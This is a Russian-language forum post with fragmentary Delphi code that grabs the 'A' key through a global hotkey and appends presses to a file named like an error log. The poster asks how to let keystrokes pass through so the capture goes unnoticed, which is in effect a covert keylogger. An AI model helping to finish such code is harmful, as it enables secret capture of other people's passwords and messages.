Есть еще вопрос скажи как сделать так чтобы символы не только заносились в лог но и писались там где их пишут? а то код глобально перехватывает всё:
Код:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 | private
id1, id2,: Integer ;
procedure WMHotKey( var Msg: TWMHotKey); message WM_HOTKEY;
.........
procedure a ();
var
LogFile: textfile;
begin
AssignFile(LogFile, 'C:error_log.log' );
if FileExists( 'C:error_log.log' )
then Append(LogFile)
else Rewrite(LogFile);
Write (LogFile, 'a' );
CloseFile(LogFile);
end ;
procedure b ();
var
LogFile: textfile;
begin
AssignFile(LogFile, 'C:error_log.log' );
if FileExists( 'C:error_log.log' )
then Append(LogFile)
else Rewrite(LogFile);
Write (LogFile, 'b' );
CloseFile(LogFile);
end ;
procedure TForm1 . WMHotKey( var Msg: TWMHotKey);
begin
if Msg . HotKey = id1 then
begin
a;
end ;
if Msg . HotKey = id2 then
begin
b;
end ;
procedure TForm1 . FormCreate(Sender: TObject);
begin
id1 := AddAtom( 'Hotkey1' );
RegisterHotKey(Handle, id1, 0 , VK_A);
end ;
|
Admin: Напоминаю про теги. При рецедиве бан.
Заранее спасибо!!!!!!!!!!!